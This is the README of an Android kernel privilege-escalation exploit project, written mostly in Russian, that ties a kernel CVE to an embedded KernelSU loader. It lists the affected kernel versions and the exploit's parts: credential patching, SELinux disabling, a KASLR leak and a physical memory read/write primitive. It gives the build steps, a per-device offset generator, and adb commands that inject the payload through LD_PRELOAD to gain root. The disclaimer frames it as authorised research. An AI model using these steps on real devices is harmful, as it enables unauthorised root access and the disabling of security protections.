
Эксплойт локального повышения привилегий для Android, использующий CVE-2026-43499, который патчит kernel creds и запускает встроенный KernelSU в режиме late-load через LD_PRELOAD.
Локальное повышение привилегий на основе уязвимости ядра CVE-2026-43499 с интегрированным встроенным KernelSU.
Компилирует и генерирует preload.so; после успешной эксплуатации KernelSU будет запущен в режиме late-load (режим джейлбрейка).
Поддерживает генерацию target.h из (xbl_config.img / vendor_boot.img) + boot.img. или другим способом
Использованные проекты:
[!IMPORTANT] Несанкционированная эксплуатация уязвимостей для повреждения, компрометации или получения доступа к компьютерным системам запрещена законом. Этот проект предоставляется строго в исследовательских, образовательных и учебных целях и может использоваться только в системах и средах, на которые было получено предварительное разрешение. Любое использование этого проекта осуществляется на риск пользователя. Авторы и участники не несут ответственности за любое неправомерное использование этого проекта или за любой ущерб, потери или юридические последствия, возникшие в результате его использования.
免责声明:未经授权利用漏洞对计算机系统实施破坏、入侵或未授权访问的行为均可能违反相关法律法规。本项目仅限于在已获得合法授权的系统和环境中用于安全研究、学习及测试目的。任何因使用、滥用或修改本项目而导致的直接或间接损失、法律责任及其他后果,均由使用者自行承担,项目作者及贡献者不承担任何责任。
Если ваша версия ядра — {Linux Kernel}, вы попадаете в область влияния данной уязвимости
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | Статус |
|---|---|
rodin(по умолчанию) | Проверено |
Остальные src/targets/* | Справочно |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # встроенный в preload.so userspace binary KernelSU
├── tools/
│ ├── generate_target.py # единая точка входа для генерации target.h в этом репозитории
│ └── vendor/ # исходные вспомогательные скрипты генерации, синхронизированные из родительского каталога
└── src/
├── main.c # основной процесс exploit
├── preload.c # LD_PRELOAD constructor + запись/запуск ksud
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
Вывод:
build/<target>/bin/preload.so
make list-projects
В этом репозитории уже есть единый скрипт генерации target:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py — это входной скрипт. Он основан на всех процессах генерации target из родительского каталога и инкапсулирует их, а в итоге выводит полный src/targets/<project>/target.h, адаптированный к исходникам этого репозитория.
Скрипт не выполняет принудительную проверку CONFIG_DEBUG_INFO_BTF=y в IKCONFIG. Если смещения полей структур или раскладка percpu entry_task не могут быть проверены, он выводит предупреждение и продолжает генерацию.
Если в образе вообще нет доступного BTF, например появляется:
有效 vmlinux BTF 候选不唯一: []
генератор переходит в fallback без BTF:
boot.img;rodin;without BTF и использованного шаблона;Можно указать шаблон fallback:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# или
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
По умолчанию записывается в:
src/targets/<project>/target.h
Можно также вызвать скрипт напрямую:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json должен содержать информацию о физических адресах, например:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
Только генерация profile:
make detect-profile PROFILE_OUT=profile.json
Определить profile и сразу сгенерировать target:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
Скрипт также предоставляет другие точки входа, поддерживаемые генератором из родительского каталога:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
Форма успешного вывода:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin по умолчанию сохраняет проверенное на реальном устройстве:
#define MM_STRUCT_SZ 0x500
Если нужно переопределить:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Рекомендуется генерировать из соответствующего boot image и profile:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Полный target header будет содержать:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZ и параметры настройки KernelSnitchВ текущий исходный код уже записаны значения по умолчанию, для нормального запуска достаточно задать LD_PRELOAD и выполнить любую программу (рекомендуется toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Текущая конфигурация по умолчанию следующая:
Фактически выполняемая по умолчанию команда ksud:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Эти переменные окружения по-прежнему можно переопределить во время выполнения, например:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Повторное использование уже записанного ksud:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make clean сохраняет build/embed/ksud, поскольку src/ksud_blob.S встраивает его следующим образом:
.incbin "build/embed/ksud"
Если при ручной очистке build/embed/ksud был потерян, его можно восстановить:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not foundВосстановите встроенный payload и пересоберите:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0rodin ожидает использования legacy/simple pselect layout:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Если состояние устройства загрязнено неудачными попытками, просто перезагрузитесь и попробуйте снова:
adb reboot
F_SETPIPE_SZ возвращает EPERMОбычно это проблема состояния, вызванная неудачными/остаточными попытками; перезагрузка — самый быстрый способ очистки:
adb reboot
ksud запускается, но в /proc/modules нет KernelSUПроверьте логи:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
При необходимости запустите вручную в root shell:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| Настройка | Значение по умолчанию | Описание |
|---|
KSUD_LATE_LOAD | 1 | Выполнить ksud late-load |
KSUD_ALLOW_SHELL | 1 | Передать --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Имя пакета менеджера, передаваемое в ksud (похоже, не работает) |
KSUD_DST | /data/local/tmp/ksud | Путь записи встроенного ksud |
KSUD_SKIP_WRITE | 0 | По умолчанию записывать встроенный ksud |
KSUD_DEFER_TO_PARENT | 1 | Запускать ksud из уже пропатченного родительского/текущего процесса |
ROOT_PATCH_SELF | 1 | Пропатчить текущий процесс до uid 0 |
DISABLE_SELINUX | 1 | При root patch записать SELinux enforcing как permissive |
ROOT_EXIT_SLEEP | unset / 0 | Не делать дополнительный sleep перед возвратом |